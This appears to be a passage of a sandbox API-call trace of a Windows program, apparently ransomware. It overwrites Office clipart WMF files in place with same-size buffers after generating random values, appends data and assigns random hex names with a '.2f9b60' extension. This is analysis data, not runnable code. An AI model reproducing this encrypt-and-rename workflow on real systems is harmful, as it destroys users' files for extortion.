[0163.992] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="e5") returned 2 [0163.992] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="73") returned 2 [0163.992] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="2e") returned 2 [0163.992] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="1d") returned 2 [0163.992] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="f8") returned 2 [0163.992] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="40") returned 2 [0163.992] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="63") returned 2 [0163.992] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="fa") returned 2 [0163.992] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="b2") returned 2 [0163.992] sprintf (in: _Dest=0x1b7d7fac, _Format="%c%c" | out: _Dest="17") returned 2 [0163.992] sprintf (in: _Dest=0x1b7d7fae, _Format="%c%c" | out: _Dest="64") returned 2 [0163.992] RtlInitAnsiString (in: DestinationString=0x28c1f9c8, SourceString="9066090d4c01056fcd60c36f06e5732e1df84063fab21764" | out: DestinationString="9066090d4c01056fcd60c36f06e5732e1df84063fab21764") [0163.992] RtlAnsiStringToUnicodeString (in: DestinationString=0x28c1f998, SourceString="9066090d4c01056fcd60c36f06e5732e1df84063fab21764", AllocateDestinationString=1 | out: DestinationString="9066090d4c01056fcd60c36f06e5732e1df84063fab21764") returned 0x0 [0163.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x203fa5f0 [0163.993] RtlFreeAnsiString (AnsiString="9") [0163.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0163.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d0c0) returned 1 [0163.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9110) returned 1 [0163.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ad730) returned 1 [0163.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7010) returned 1 [0163.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7040) returned 1 [0163.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6fe0) returned 1 [0163.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6fb0) returned 1 [0163.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3e20) returned 1 [0163.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3ee0) returned 1 [0163.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3f10) returned 1 [0163.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230e140 [0163.996] wcscat (in: _Dest=0x4230e140, _Source="9066090d4c01" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9066090d4c01") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9066090d4c01" [0163.996] wcscat (in: _Dest=0x4230e140, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9066090d4c01.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9066090d4c01.2f9b60" [0163.996] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9066090d4c01.2f9b60", NtPathName=0x28c1f970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9066090d4c01.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2abd0 Thread: id = 2358 os_tid = 0x1d3c [0150.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x20 [0150.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF", dwFileAttributes=0x20) returned 1 [0150.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21b4 [0150.021] GetFileSizeEx (in: hFile=0x21b4, lpFileSize=0x2828fa00 | out: lpFileSize=0x2828fa00*=2996) returned 1 [0150.021] SetFilePointerEx (in: hFile=0x21b4, liDistanceToMove=0xbb0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.021] ReadFile (in: hFile=0x21b4, lpBuffer=0x2828f980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2828f9c8, lpOverlapped=0x0 | out: lpBuffer=0x2828f980*, lpNumberOfBytesRead=0x2828f9c8*=0x4, lpOverlapped=0x0) returned 1 [0150.022] SetFilePointerEx (in: hFile=0x21b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0150.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3eb0 [0150.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3f40 [0150.023] NtQuerySystemTime (in: CurrentTime=0x2828f8c0 | out: CurrentTime=0x2828f8c0*=132462177552274000) returned 0x0 [0150.023] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x42c38c84 [0150.023] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x79f07cd [0150.023] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x2c73f626 [0150.023] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x19d7200d [0150.023] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x35ad3162 [0150.023] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x2302acd0 [0150.023] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x4f62bb94 [0150.023] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x661335ea [0150.023] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x39fb178 [0150.023] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x6ed84c77 [0150.023] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x2dc31376 [0150.023] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x43e51b34 [0150.023] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x53e15308 [0150.023] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x1321b55 [0150.023] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x74b65f67 [0150.023] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x7d0b2b65 [0150.024] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x4ab0b035 [0150.024] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x30504126 [0150.024] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x39d286d8 [0150.024] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x624be11c [0150.024] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x31de1853 [0150.024] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x16aa2bbe [0150.024] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x255240ce [0150.024] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x21dac454 [0150.024] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x2545e383 [0150.024] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x36a9b93 [0150.024] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x5a0df9fb [0150.024] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x7ad2c00f [0150.024] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x6adf14fb [0150.024] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x373fdd1c [0150.024] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x742d3496 [0150.024] RtlRandomEx (in: Seed=0x2828f8b0 | out: Seed=0x2828f8b0) returned 0x64bab7b5 [0150.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3f70 [0150.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5abb0 [0150.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3fa0 [0150.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5abb0) returned 1 [0150.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3f40) returned 1 [0150.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0150.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059150 [0150.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5abb0 [0150.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0150.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0150.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423f2110 [0150.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423f5d20 [0150.035] ReadFile (in: hFile=0x21b4, lpBuffer=0x423f2110, nNumberOfBytesToRead=0xbb4, lpNumberOfBytesRead=0x2828f8b0, lpOverlapped=0x0 | out: lpBuffer=0x423f2110*, lpNumberOfBytesRead=0x2828f8b0*=0xbb4, lpOverlapped=0x0) returned 1 [0150.035] SetFilePointerEx (in: hFile=0x21b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.035] WriteFile (in: hFile=0x21b4, lpBuffer=0x423f5d20*, nNumberOfBytesToWrite=0xbb4, lpNumberOfBytesWritten=0x2828f8b4, lpOverlapped=0x0 | out: lpBuffer=0x423f5d20*, lpNumberOfBytesWritten=0x2828f8b4*=0xbb4, lpOverlapped=0x0) returned 1 [0162.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7070 [0162.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a70a0 [0162.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a70a0) returned 1 [0162.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423f5d20) returned 1 [0162.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423f2110) returned 1 [0162.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5abb0) returned 1 [0162.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059150) returned 1 [0162.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a70a0 [0162.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059150 [0162.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5abb0 [0162.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a70d0 [0162.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a70d0) returned 1 [0162.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a70d0 [0162.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7100 [0162.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7130 [0162.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7130) returned 1 [0162.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5abb0) returned 1 [0162.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059150) returned 1 [0162.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ad850 [0162.042] SetFilePointerEx (in: hFile=0x21b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.042] WriteFile (in: hFile=0x21b4, lpBuffer=0x423ad850*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2828f9d0, lpOverlapped=0x0 | out: lpBuffer=0x423ad850*, lpNumberOfBytesWritten=0x2828f9d0*=0x10a, lpOverlapped=0x0) returned 1 [0164.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0164.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b830 [0164.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3f10 [0164.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3f10) returned 1 [0164.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d0c0 [0164.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3f10 [0164.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3ee0 [0164.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3ee0) returned 1 [0164.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b830) returned 1 [0164.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0164.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f80 [0164.003] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="2a") returned 2 [0164.003] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="88") returned 2 [0164.003] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="4a") returned 2 [0164.003] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="04") returned 2 [0164.003] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="79") returned 2 [0164.003] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="01") returned 2 [0164.003] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="0b") returned 2 [0164.003] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="af") returned 2 [0164.003] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="71") returned 2 [0164.003] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="dd") returned 2 [0164.003] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="de") returned 2 [0164.003] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="8c") returned 2 [0164.004] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="18") returned 2 [0164.004] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="5a") returned 2 [0164.004] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="d7") returned 2 [0164.004] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="c1") returned 2 [0164.004] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="4b") returned 2 [0164.004] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="99") returned 2 [0164.004] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="1d") returned 2 [0164.004] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="21") returned 2 [0164.004] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="af") returned 2 [0164.004] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="bf") returned 2 [0164.004] sprintf (in: _Dest=0x1b7d7fac, _Format="%c%c" | out: _Dest="52") returned 2 [0164.004] sprintf (in: _Dest=0x1b7d7fae, _Format="%c%c" | out: _Dest="b2") returned 2 [0164.004] RtlInitAnsiString (in: DestinationString=0x2828fa48, SourceString="2a884a0479010baf71ddde8c185ad7c14b991d21afbf52b2" | out: DestinationString="2a884a0479010baf71ddde8c185ad7c14b991d21afbf52b2") [0164.004] RtlAnsiStringToUnicodeString (in: DestinationString=0x2828fa18, SourceString="2a884a0479010baf71ddde8c185ad7c14b991d21afbf52b2", AllocateDestinationString=1 | out: DestinationString="2a884a0479010baf71ddde8c185ad7c14b991d21afbf52b2") returned 0x0 [0164.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x203fa660 [0164.005] RtlFreeAnsiString (AnsiString="2") [0164.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0164.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d0c0) returned 1 [0164.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3f10) returned 1 [0164.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ad850) returned 1 [0164.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a70d0) returned 1 [0164.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7100) returned 1 [0164.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a70a0) returned 1 [0164.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7070) returned 1 [0164.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3eb0) returned 1 [0164.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3f70) returned 1 [0164.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3fa0) returned 1 [0164.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230e1e0 [0164.008] wcscat (in: _Dest=0x4230e1e0, _Source="2a884a047901" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2a884a047901") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2a884a047901" [0164.008] wcscat (in: _Dest=0x4230e1e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2a884a047901.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2a884a047901.2f9b60" [0164.008] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2a884a047901.2f9b60", NtPathName=0x2828f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2a884a047901.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2ac90 Thread: id = 2359 os_tid = 0x1d40 [0150.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x20 [0150.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF", dwFileAttributes=0x20) returned 1 [0150.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21b8 [0150.039] GetFileSizeEx (in: hFile=0x21b8, lpFileSize=0x2bf0f6e0 | out: lpFileSize=0x2bf0f6e0*=2296) returned 1 [0150.039] SetFilePointerEx (in: hFile=0x21b8, liDistanceToMove=0x8f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.039] ReadFile (in: hFile=0x21b8, lpBuffer=0x2bf0f660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bf0f6a8, lpOverlapped=0x0 | out: lpBuffer=0x2bf0f660*, lpNumberOfBytesRead=0x2bf0f6a8*=0x4, lpOverlapped=0x0) returned 1 [0150.041] SetFilePointerEx (in: hFile=0x21b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0150.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3f40 [0150.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3fd0 [0150.042] NtQuerySystemTime (in: CurrentTime=0x2bf0f5a0 | out: CurrentTime=0x2bf0f5a0*=132462177552586000) returned 0x0 [0150.042] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x202b4088 [0150.042] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x2ecb2c6d [0150.042] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x69a8193 [0150.042] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x3bb3ac62 [0150.042] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x1d16cd86 [0150.042] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x6f2167a1 [0150.042] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x36d0c37f [0150.042] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x2592788e [0150.042] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x20ca3d07 [0150.042] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x3c1a0912 [0150.042] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x6ac5ff64 [0150.043] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x5d2e7ea4 [0150.043] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x5bb385c2 [0150.043] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x7591b2fb [0150.043] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x53240687 [0150.043] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x3f939bff [0150.043] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x4efed87c [0150.043] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x55e9aeee [0150.043] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x3befc501 [0150.043] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x571f078d [0150.043] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x26cc3484 [0150.043] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x8c3b7fd [0150.043] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0xe060e28 [0150.043] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x2284ab3a [0150.043] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x505000dc [0150.043] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x25100b9d [0150.043] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x4345934c [0150.043] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x4e401e72 [0150.043] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x3bc16a0d [0150.044] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x4a712f49 [0150.044] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x6ad094db [0150.044] RtlRandomEx (in: Seed=0x2bf0f590 | out: Seed=0x2bf0f590) returned 0x73d8410d [0150.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4000 [0150.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5ac30 [0150.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4030 [0150.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ac30) returned 1 [0150.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3fd0) returned 1 [0150.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0150.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ab0 [0150.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5ac30 [0150.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0150.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0150.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423f9930 [0150.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423fd540 [0150.055] ReadFile (in: hFile=0x21b8, lpBuffer=0x423f9930, nNumberOfBytesToRead=0x8f8, lpNumberOfBytesRead=0x2bf0f590, lpOverlapped=0x0 | out: lpBuffer=0x423f9930*, lpNumberOfBytesRead=0x2bf0f590*=0x8f8, lpOverlapped=0x0) returned 1 [0150.055] SetFilePointerEx (in: hFile=0x21b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.055] WriteFile (in: hFile=0x21b8, lpBuffer=0x423fd540*, nNumberOfBytesToWrite=0x8f8, lpNumberOfBytesWritten=0x2bf0f594, lpOverlapped=0x0 | out: lpBuffer=0x423fd540*, lpNumberOfBytesWritten=0x2bf0f594*=0x8f8, lpOverlapped=0x0) returned 1 [0162.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7130 [0162.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7160 [0162.046] RtlFreeHeap 